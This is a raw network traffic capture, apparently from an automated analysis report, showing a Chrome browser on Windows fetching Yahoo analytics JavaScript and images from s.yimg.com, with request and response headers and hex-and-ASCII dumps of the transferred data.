,geo_host:e.geo_host\|\|o,anonymized:!0===e.anonymized,click_timeout:e.click_timeout\|\|1e4,compr_timeout:e.compr_timeout\|\|700,compr_on:!1!==e.compr_on,compr_type:e.compr_type\|\|"deflate",webworker_file:YAHOO.i13n.WEBWORKER_FILE\|\|e.webworker_file\|\|null,nofollo
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 72 66 5f 6e 61 76 69 67 61 74 69 6f 6e 74 69 6d 65 3a 65 2e 70 65 72 66 5f 6e 61 76 69 67 61 74 69 6f 6e 74 69 6d 65 7c 7c 30 2c 70 65 72 66 5f 63 6f 6d 6d 6f 6e 74 69 6d 65 3a 65 2e 70 65 72 66 5f 63 6f 6d 6d 6f 6e 74 69 6d 65 7c 7c 6e 75 6c 6c 2c 70 65 72 66 5f 75 73 65 72 74 69 6d 65 3a 65 2e 70 65 72 66 5f 75 73 65 72 74 69 6d 65 7c 7c 6e 75 6c 6c 2c 70 65 72 66 5f 72 65 73 6f 75 72 63 65 74 69 6d 65 3a 65 2e 70 65 72 66 5f 72 65 73 6f 75 72 63 65 74 69 6d 65 7c 7c 30 2c 73 61 6d 70 6c 65 3a 65 2e 73 61 6d 70 6c 65 7c 7c 7b 7d 2c 6c 6f 63 3a 6e 2c 66 70 63 3a 21 30 3d 3d 3d 65 2e 66 70 63 2c 61 63 63 6f 75 6e 74 47 55 49 44 3a 65 2e 61 63 63 6f 75 6e 74 47 55 49 44 7c 7c 6e 75 6c 6c 2c 63 75 73 74 6f 6d 55 49 44 3a 65 2e 63 75 73 74 6f 6d 55 49 44 Data Ascii: erf_navigationtime:e.perf_navigationtime\|\|0,perf_commontime:e.perf_commontime\|\|null,perf_usertime:e.perf_usertime\|\|null,perf_resourcetime:e.perf_resourcetime\|\|0,sample:e.sample\|\|{},loc:n,fpc:!0===e.fpc,accountGUID:e.accountGUID\|\|null,customUID:e.customUID
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 3b 69 66 28 6e 26 26 21 31 21 3d 3d 65 26 26 74 2e 73 65 74 28 22 5f 52 22 2c 6e 29 2c 44 2e 74 65 73 74 5f 69 64 26 26 74 2e 73 65 74 28 22 74 65 73 74 22 2c 44 2e 74 65 73 74 5f 69 64 29 2c 44 2e 63 75 73 74 6f 6d 55 49 44 26 26 28 6c 3d 44 2e 63 75 73 74 6f 6d 55 49 44 2c 74 2e 73 65 74 28 22 75 73 65 72 5f 69 64 22 2c 6c 2e 69 64 29 2c 74 2e 73 65 74 28 22 75 73 65 72 5f 69 64 5f 74 79 70 65 22 2c 6c 2e 74 79 70 65 29 29 2c 44 2e 61 63 63 6f 75 6e 74 47 55 49 44 26 26 74 2e 73 65 74 28 22 5f 6c 47 55 49 44 22 2c 44 2e 61 63 63 6f 75 6e 74 47 55 49 44 29 2c 44 2e 65 78 26 26 74 2e 73 65 74 28 22 5f 65 78 22 2c 31 29 2c 74 2e 67 65 74 28 22 5f 62 74 22 29 7c 7c 74 2e 73 65 74 28 22 5f 62 74 22 2c 22 72 61 70 69 64 22 29 2c 44 2e 71 75 65 72 79 5f 70 61 Data Ascii: ;if(n&&!1!==e&&t.set("_R",n),D.test_id&&t.set("test",D.test_id),D.customUID&&(l=D.customUID,t.set("user_id",l.id),t.set("user_id_type",l.type)),D.accountGUID&&t.set("_lGUID",D.accountGUID),D.ex&&t.set("_ex",1),t.get("_bt")\|\|t.set("_bt","rapid"),D.query_pa
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 6d 73 3d 6f 65 3f 6f 65 2e 6d 73 3a 6e 75 6c 6c 29 2c 21 44 2e 79 71 6c 5f 65 6e 61 62 6c 65 64 7c 7c 6f 3f 28 6f 3d 6e 75 6c 6c 2c 70 28 48 28 74 3f 22 62 22 3a 22 70 22 2c 6f 3d 6e 3f 6e 65 77 20 64 28 6e 29 3a 6f 29 29 29 3a 56 28 65 2c 74 2c 6e 2c 69 29 7d 2c 73 65 6e 64 52 61 70 69 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 74 26 26 49 26 26 49 2e 73 74 61 72 74 5f 64 77 65 6c 6c 28 29 26 26 28 6e 2e 65 74 61 67 3d 22 64 77 65 6c 6c 2c 73 74 61 72 74 22 2c 6e 2e 75 73 65 72 67 65 6e 66 3d 31 2c 6e 2e 41 5f 70 72 65 74 73 3d 6f 65 3f 6f 65 2e 74 73 3a 6e 75 6c 6c 2c 6e 2e 41 5f 70 72 65 6d 73 3d 6f 65 3f 6f 65 2e 6d 73 3a 6e 75 6c 6c 29 2c 75 28 65 2c 74 2c 6e 2c 69 29 7d 2c 73 65 6e 64 52 65 66 72 65 73 68 65 64 43 6f 6e 74 65 6e 74 Data Ascii: ms=oe?oe.ms:null),!D.yql_enabled\|\|o?(o=null,p(H(t?"b":"p",o=n?new d(n):o))):V(e,t,n,i)},sendRapid:function(e,t,n,i){t&&I&&I.start_dwell()&&(n.etag="dwell,start",n.usergenf=1,n.A_prets=oe?oe.ts:null,n.A_prems=oe?oe.ms:null),u(e,t,n,i)},sendRefreshedContent
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6f 29 2c 6e 2e 63 61 6c 6c 28 6e 75 6c 6c 29 7d 2c 69 2e 73 72 63 3d 65 2c 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 6f 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 63 61 6c 6c 28 6e 75 6c 6c 29 7d 2c 44 2e 63 6c 69 63 6b 5f 74 69 6d 65 6f 75 74 29 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 6e 75 6c 6c 7d 2c 31 65 37 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 72 65 74 75 72 6e 22 72 61 70 69 64 5f 69 66 5f 22 2b 79 2e 72 61 6e 64 28 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 65 29 7b 76 61 72 20 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3b 21 79 2e 69 73 49 45 7c 7c 36 21 3d 3d Data Ascii: unction(){clearTimeout(o),n.call(null)},i.src=e,n&&"function"==typeof n&&(o=setTimeout(function(){n.call(null)},D.click_timeout)),setTimeout(function(){i=null},1e7))}function m(){return"rapid_if_"+y.rand()}function _(e){var t="display:none;";!y.isIE\|\|6!==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49817	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	530	OUT	GET /uu/api/res/1.2/6AX6SotpNVR0CtKRAjt6IA--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/51564f40-b005-11ee-9ddb-e84002ab0910.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	1300	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 434520894366980052488718884190113476008,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="51564f40-b005-11ee-9ddb-e84002ab0910.webp" Edge-Cache-Tag: 434520894366980052488718884190113476008,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "0d3998a0a17a18c01aadb680cd677bbb" Last-Modified: Wed, 10 Jan 2024 22:12:21 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=4286,owidth=2170,oheight=1222,obytes=325390,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: c283e202214e3a67d5e299cd4a24e5de Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:11:00 GMT X-Served-By: cache-lga21946-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704928261.822066,VS0,VE1 Age: 970 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: c283e202214e3a67d5e299cd4a24e5de cld_by: cache-lga21946-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 14247 ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:10 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 00 b4 01 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 06 02 03 04 05 00 07 08 01 09 ff c4 00 42 10 00 01 02 04 04 03 05 05 06 04 05 04 03 01 00 00 01 02 03 00 04 05 11 06 12 21 31 07 13 41 22 51 61 71 81 14 32 33 42 91 08 15 Data Ascii: JFIFCCdB!1A"Qaq23B
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2b 89 79 f6 90 d0 1b c3 f0 ac d6 76 81 51 79 0f 83 94 ef 0c bd af 1b a5 33 a0 de d1 9e d3 23 c6 e0 28 f1 4a 6b 73 14 62 5b 70 34 bb 6e fa 17 61 ef fe 38 4e 50 43 16 90 4f 48 46 55 71 e9 6b 5d 22 6d 1e 72 fc 62 6d 19 cb f1 89 b4 67 2f c6 27 b2 32 2d 1b 9a a8 b3 ec f1 d5 95 9b 4d 77 88 5c 23 34 14 ba 5c 81 87 46 64 eb 15 b3 a2 b5 d9 46 dc 37 50 bd cc 64 f3 65 a6 9c 3b 44 9a a7 b2 13 98 26 f6 8c b3 2d 9d eb d2 92 66 51 00 91 6d 3a 45 5c 82 6e 52 5d b0 f0 b8 da 2f 2c b7 17 26 d3 f9 2d 9d 84 26 d1 4c 48 e5 37 fc b0 02 9d 11 ca 47 74 49 74 29 36 ce 5a 3b a2 fd 82 4f 2d 3d d1 3d 85 26 d9 97 c6 28 1a 3b 2a 9b 3c 20 72 9b 58 c6 8a 9d 5b d7 be 15 97 c3 20 ee 98 8b cb a7 5e 91 92 af e1 75 04 fe 16 f1 42 bf 03 e9 a4 fd e2 fb ee bf 32 89 59 49 64 85 cc 4c 38 3b 0d 82 Data Ascii: +yvQy3#(Jksb[p4na8NPCOHFUqk]"mrbmg/'2-Mw\#4\FdF7Pde;D&-fQm:E\nR]/,&-&LH7GtIt)6Z;O-==&(;*< rX[ ^uB2YIdL8;
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 64 c5 55 c1 75 0f 64 79 42 b3 f8 b1 ed 33 f2 e2 33 51 63 f5 2a 6e a5 35 41 a4 54 f1 0c 9a 82 1f a6 c9 b8 eb 4e 1f 91 c3 64 21 5e 8a 50 3e 91 d2 fc 5e 3b f3 97 c8 ba 8e 77 9e 95 a7 4a 64 4b 4f 3f 36 ec d1 57 38 90 48 4a af 75 0d 0f 5c c3 e9 1e 9a df d3 99 72 da 6a e4 25 65 24 5c 6d b4 cc 5d e4 20 ad 69 55 80 1a e8 4f 48 4c 9a 5c a1 c4 b7 35 30 e9 43 08 65 d5 1d 1b 6d b5 0e ca 46 c3 42 7e ba 18 66 36 4e c7 31 db 65 70 eb 08 bd 3e f3 4c bc e2 c3 4d 6e 11 a2 54 4f 70 e9 b6 fb ee 36 26 39 fc ae 4e ba 76 f8 5c 2b 6e eb 75 7f 97 e5 d9 61 6f 3a 94 a9 d3 ba ad 1c 9c b2 b7 b7 aa 98 e3 66 81 18 db 01 4a d6 5a 33 52 b2 cd 29 c5 1b 03 cc e5 1f 1b 1b 81 f5 8d 1c 7f 26 af 6e 7f 27 89 ed f0 05 fe 47 c4 34 3d 64 65 44 ab 8f 68 5d 49 4a dd 29 1b 80 a2 34 06 fb da e4 5f 58 Data Ascii: dUudyB33Qc*n5ATNd!^P>^;wJdKO?6W8HJu\rj%e$\m] iUOHL\50CemFB~f6N1ep>LMnTOp6&9Nv\+nuao:fJZ3R)&n'G4=deDh]IJ)4_X
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 a5 a6 16 80 42 d4 2c 54 4e a8 03 bd 4a dd 5e 46 15 94 68 c2 ab 12 66 a6 3b 49 4a 1a 47 ca 56 9c c5 5e 36 36 48 1e 7a 9e e1 6d 46 c3 bf 49 6f 35 52 75 21 41 2f be 8f 95 dc b9 ef e1 74 00 9b 78 08 94 ab f5 1b 93 52 41 3d 87 3d 5a 57 fb 42 fd 2d fa bd 89 a8 73 d3 e8 e5 25 2a 6f 3d d4 56 16 bc b6 da dd 21 b3 a6 7f 25 da c9 d9 c7 54 f3 69 5c bb cc b8 01 2d ad 97 d8 09 4a bb d3 12 fc 64 d7 68 d5 79 b5 8a 64 c2 96 b9 c9 80 94 e7 ca b5 85 8d 3c 05 a1 7e da a9 95 dc ed cb d8 fb 4c 47 30 94 e8 8b e6 4a 7b af 1d 3e 3d df 8b 6f 25 c8 9a f3 68 2f d4 f9 c3 72 0b d8 04 36 ed ae 34 83 c4 bc e0 6f 10 23 45 58 43 fc 05 65 03 92 bf 98 44 69 a0 83 09 2f 86 3d 21 59 0f f6 9e 8d e1 55 2a 53 5b 98 13 0f a3 68 95 55 7d 87 fd e4 c2 f3 f8 83 f9 6d 65 d0 23 2d fa b3 6f a6 c0 1f Data Ascii: tB,TNJ^Fhf;IJGV^66HzmFIo5Ru!A/txRA==ZWB-s%o=V!%Ti\-Jdhyd<~LG0J{>=o%h/r64o#EXCeDi/=!YUS[hU}me#-o
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: df 58 6c c7 4e 7f 93 c8 d5 d3 f3 cf d4 a6 0c d4 d2 94 a7 54 94 a5 4a 52 af 7b 0b 5e 1b 8c f5 c7 4e 5e 53 57 68 64 78 c1 e8 06 e1 88 c8 8a aa 4a fb 27 21 27 ac 37 c0 56 5f 02 72 c9 fe 25 26 fd 63 56 57 e9 37 e8 ca 9f ee fa 42 32 86 e2 b3 6f 78 56 5d 89 21 1b 40 a1 6a 8a 0c 59 d1 66 39 6f 04 dc 40 d9 a5 8f 64 a6 ee c2 6e 61 77 a0 e5 da 42 d7 cc 4d af 02 ad a0 3d b4 1c 5e 28 2e ef eb 0d 8a a8 33 1b 88 bc 52 fc 0c 54 05 e6 97 af 58 3d 8f da 3a ba 7f f2 e6 12 08 d7 58 9b 65 41 e2 2c 40 f3 27 2a ca 6d 13 62 9d a1 1d e3 37 9c fc 3a 78 76 8c a7 e0 ae 99 f7 bd 4c 41 59 fb 33 10 05 83 68 88 75 ae 90 06 53 e3 68 8a 2e 22 32 22 32 22 14 df c4 11 10 4f 45 f9 60 04 32 53 ce 4b d0 67 1f 6f 39 e5 4b b8 ac a8 4d ca b4 8a e2 dd f9 fb 55 f8 15 c2 b3 93 14 6e 1d d4 66 e4 1c Data Ascii: XlNTJR{^N^SWhdxJ'!'7V_r%&cVW7B2oxV]!@jYf9o@dnawBM=^(.3RTX=:XeA,@'*mb7:xvLAY3huSh."2"2"OE`2SKgo9KMUnf
2024-01-10 23:27:10 UTC	73	IN	Data Raw: a1 d4 1b 5f 48 04 b9 6d 28 6d 11 65 c4 46 44 46 44 42 91 bc 45 51 3d 13 e5 f2 8a a1 1d d3 e5 db 9a 90 76 5d d1 74 3c d9 6d 5e 44 6b 19 e4 d6 46 4c 7a 57 f0 b3 03 d5 b8 75 40 9d 94 98 a8 73 1a 9b 9a 54 c3 2d da c5 08 3a Data Ascii: _Hm(meFDFDBEQ=v]t<m^DkFLzWu@sT-:
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 02 7c 48 03 e9 1d 6f 3d df 4e cf e2 65 f0 36 55 01 4d 02 66 9f 7d 61 6a b0 ba 8e 6c ca e8 3c 20 7c 7d 3a 1c 9b b5 8d 40 b8 e3 a4 29 57 07 78 d5 8d d4 61 c6 28 e6 d7 95 ce 5e 5b 80 6c 0f 87 41 0b ca b5 60 86 f7 31 3a b6 bc b9 92 a4 ed df 6d 61 57 fb 9a 31 bb 41 45 46 6a 5e 73 95 2d 28 b7 14 37 29 3f de 11 94 da d7 fc 97 67 e5 8a 6a 08 19 54 34 1d 41 85 dc 51 32 99 84 29 52 ad a5 ee 58 59 56 d7 4e d1 53 69 8a 9e b5 59 a7 33 56 fb aa 41 2a 7e 65 08 0a 71 b4 26 d9 2f b2 6f fc da 1d 3c 21 b3 13 e4 e9 7d 4a 7d 13 34 b4 94 1d 1c d8 f6 b4 ff 00 c7 ce 0a e0 c7 e5 b3 e2 5e 2b a2 4d 62 0a 64 b2 d2 cb 4a 9e 92 59 01 b7 45 d2 ea 54 06 6b 79 d8 18 4e 73 a6 0c e5 c6 b4 ef 1e 91 28 ac 29 4f 40 95 43 73 2c cd a4 04 a7 4b a7 22 ee 3d 74 82 e3 4e dc ce 54 68 b5 46 ec 6e dc Data Ascii: \|Ho=Ne6UMf}ajl< \|}:@)Wxa(^[lA`1:maW1AEFj^s-(7)?gjT4AQ2)RXYVNSiY3VA*~eq&/o<!}J}4^+MbdJYETkyNs()O@Cs,K"=tNThFn
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 45 07 e0 0f 28 cd e6 dc 32 2e d1 ee c2 fe c5 6e cb d1 e4 c5 0b 45 9d a0 a2 e1 72 1f 9a 11 2a 5f 83 a9 0f 82 21 5f b2 ff 00 64 4c 6f eb 17 8a e9 28 36 bc 16 b6 b3 2e 7e f0 52 ec 35 59 31 b4 14 56 48 47 78 60 5d 49 30 92 b6 d4 04 73 4e d6 bb 02 e2 84 8b 13 6e 90 78 dd 2a b5 cc e2 2e e9 b7 7c 3a 19 10 1c 45 8e dd 63 27 99 a7 0f 88 aa 16 8c c7 fa ea 2b a6 f7 11 71 4a 0a c4 e2 58 4d 82 80 29 17 30 f9 3a 2b 3f 8d 7d 5d aa 3a 49 55 ee 3b af 1d 1e 36 33 f6 c9 9e 41 27 67 de 71 c5 28 28 81 1d 29 31 23 2c ba 20 4f be 07 bc 62 ac c4 0b ca 0d 5d e4 b8 0e 6b 11 6e b0 ac b0 e8 ef 1d d5 6c ea 15 51 4e a1 2a 2a bf 7c 71 b9 58 76 dd 8e 42 e6 89 20 78 46 5d 8e 54 94 c5 9b 2f af 66 31 ce 23 98 c3 34 11 2e ca 5c 6e 6a 7d 39 5b 51 39 4a 5b bd 94 bb 5b 7e 82 c4 47 4f 87 c3 ee Data Ascii: E(2.nEr_!_dLo(6.~R5Y1VHGx`]I0sNnx.\|:Ec'+qJXM)0:+?}]:IU;63A'gq(()1#, Ob]knlQN**\|qXvB xF]T/f1#4.\nj}9[Q9J[[~GO
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 9a 55 56 cd 7e f0 50 35 0d 7e f1 82 d8 5d 42 ef ba 63 98 d0 0a c4 c9 19 57 05 8a 35 a4 d7 c5 57 99 86 cb a1 c9 b0 b5 62 68 b3 9a e7 7d 04 55 c7 6d 3e 3b 20 2e 7a aa 1b 7a ea 51 b2 b4 1e 30 af e3 ad 38 d8 4b 75 20 b2 4a 0d ed bc 55 c5 59 2b ea ee 17 5b 5a f6 b8 8d 5c 7e 88 ca 07 84 b8 5a b3 1d cc 6c d9 32 6a af 65 68 cd bc d0 5b 6d df 4d 62 6f 6d f3 8d 35 b3 6f e0 8a 8b e9 76 70 ca 25 a9 74 5a ef 3c ae 5b 7f 55 6f e4 2e 60 f1 db 07 27 f8 a7 c4 44 52 a8 94 d2 17 31 39 ed 0a ea 96 2e 90 3f d6 7f d8 c3 f1 db 1c f3 4f 89 4f 62 87 58 6f 91 4c 96 6a 49 b3 bf 2d 45 4a 3e 6a 31 73 0e c3 73 95 40 ed 6a 7a 72 65 4a 71 f5 94 a4 d8 6b 07 31 8a cb c9 d3 d4 b9 7d 6d 68 6c 26 dd 96 e8 2a b1 02 19 b5 6d 27 0c e2 19 ec 21 89 29 98 a6 92 40 9c a5 cc a2 61 a2 76 24 1d 41 f0 Data Ascii: UV~P5~]BcW5Wbh}Um>; .zzQ08Ku JUY+[Z\~Zl2jeh[mMbom5ovp%tZ<[Uo.`'DR19.?OObXoLjI-EJ>j1ss@jzreJqk1}mhl&*m'!)@av$A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49818	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	689	OUT	GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/pv/static/ms/trendingNow.yhome-atomic.60573feacc990fc974a2277314a57836.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	830	IN	HTTP/1.1 200 OK x-amz-id-2: N6N25e5hfamqZDtcZLQN73hfVXfPSQOnxqE2egKxj4UZ2ENKTYkh13yFDRFDBgbcSEzFcAMV9ys= x-amz-request-id: NBP7X17G9W7P8KHR Date: Tue, 09 Jan 2024 22:13:08 GMT Last-Modified: Wed, 01 Mar 2023 03:52:06 GMT ETag: "2fb9d43c74752389405abc1a5814b44a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public Expires: Tue, 01 Mar 2033 03:52:18 GMT Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 539840 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 90843 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 47 49 46 38 39 61 04 01 54 01 f7 01 00 ff ff ff fd fd ff fd ff ff ff f9 ff ff fa f4 ff fb ee ff fb ff ff fd fd ff fe f6 ff fe ff ff ff fa ff ff fe ff f3 ea ff f4 f5 ff fa fa ff fb fb f7 e5 e2 f8 fe ff fe e4 d1 ff e8 d1 ff f6 d8 ff fa e6 f4 55 2e f5 52 1a fb 51 10 fc 4f 0b fc d6 c2 fc e8 c5 fe 4b 0a fe 4d 08 fe 4e 0b fe 4e 13 fe 4f 0d fe 50 0c fe 51 0d fe 51 0f fe 53 16 fe 55 15 ff 4e 0d ff ef d2 ff b8 8c ff c3 a9 ff e4 c4 ff fe e8 d8 5e 3c e6 6d 43 fc 4e 12 fd 4f 0f fe 4c 22 fe 51 18 fe 53 13 fe 5b 18 ff 4d 15 ff f3 d5 c5 80 64 d3 64 3f dc a0 8d fe 70 41 bc 69 4d fe 68 2f d1 86 69 e4 cf b4 e0 bf b5 ff ad 95 fb 84 66 fe ea d3 fe fd ff fe ff fd ff e0 d0 ff f8 ee ff fb f8 ff fe fc ff ff fc fb ff fb fb ff ff ff ea e2 ff ef d9 ff f7 f6 ff fd f7 ff fd fa f7 df Data Ascii: GIF89aTU.RQOKMNNOPQQSUN^<mCNOL"QS[Mdd?pAiMh/if
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 07 ff 80 00 82 83 84 85 86 87 88 86 47 47 82 09 09 89 90 91 92 93 94 95 8d 5c 01 98 8f 96 9c 9d 9e 93 06 0f 46 5f 4d a5 a1 11 8e a9 a9 9f ac ad 91 a7 a4 a6 a8 aa aa ae b6 b7 97 a4 4b 10 0e 03 4a bf b4 8e b8 c3 ac 0b 48 04 0c 10 bc be c0 c1 c4 cf 9c 0a 48 ca bb 4b 0d 98 b9 ab d0 db af 4e 58 d4 d4 51 8c 00 ce dc e6 b5 e4 0e 5e 56 d4 12 ca d7 d2 02 02 e6 f4 83 e8 c6 ec ca ee 50 bb f0 f2 f5 f5 82 35 c8 b7 af 20 03 2c 08 87 28 3c 06 10 9a 40 30 ed 24 10 69 27 25 e1 42 24 0d 9f 05 6b 07 61 a2 c7 70 e2 e2 61 cc 38 ec 91 2a 8e 1f 3f fa 8b 47 b2 e4 b1 27 eb aa f1 4b 49 51 d4 28 2e 2d 71 bd 1c 88 b2 a0 ca 95 38 73 76 12 96 4e 5a 11 82 3d 69 1e 8c 95 50 a8 25 a2 3b f3 f5 ec e8 f3 9d ac 45 4e 2b c1 32 8a 14 25 55 a5 eb bc c1 dc 79 51 9e d9 79 4e b7 22 28 d0 75 e6 57 Data Ascii: GG\F_MKJHHKNXQ^VP5 ,(<@0$i'%B$kapa8*?G'KIQ(.-q8svNZ=iP%;EN+2%UyQyN"(uW
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 18 1b 7a d9 e8 20 4b 84 8c 20 43 62 64 60 a9 41 47 25 22 53 aa 4c c0 b2 a5 80 81 0d 7e fc 30 f9 71 a5 cd 9b 62 cc c9 34 47 a5 26 ce 9f 20 53 c8 ec 27 09 82 93 05 40 93 5a 84 30 b4 1f 2b 43 3d 95 4a 6d 08 81 1a 3f 7d 44 c7 e9 a3 39 b5 ab 4b 9f d4 7c 5c cd 5a 8a a7 d7 b3 06 3e 6e d1 d0 74 6c a1 38 a8 50 fa 7c 89 16 a8 06 b1 58 b5 ba 4d 31 f7 00 dd ba 36 ef 58 69 9b 57 6f 1c a3 48 12 a7 05 7c 73 9e 4e b7 fd 0a 47 96 c5 f5 2b e3 94 86 22 9b 22 ec 96 15 11 23 48 17 5b be 7c 71 f0 0f 53 5a 39 47 96 04 2a aa e8 d1 a4 1f da c1 5b 48 af e4 bc 92 7e 20 1e 80 a0 37 ec df b1 15 23 90 40 3b f5 ed d5 3f 7c 2c e1 ed 1b 78 70 84 05 b6 c4 a9 4d dd f6 f1 ab 71 9e 14 60 ee f7 81 f7 8a ce 63 57 ff 81 52 fd fa f5 92 af bf 83 7f 0e 5b 03 3b cd d6 cb cb c7 fa 59 8c fa fb e1 2f Data Ascii: z K Cbd`AG%"SL~0qb4G& S'@Z0+C=Jm?}D9K\|\Z>ntl8P\|XM16XiWoH\|sNG+""#H[\|qSZ9G*[H~ 7#@;?\|,xpMq`cWR[;Y/
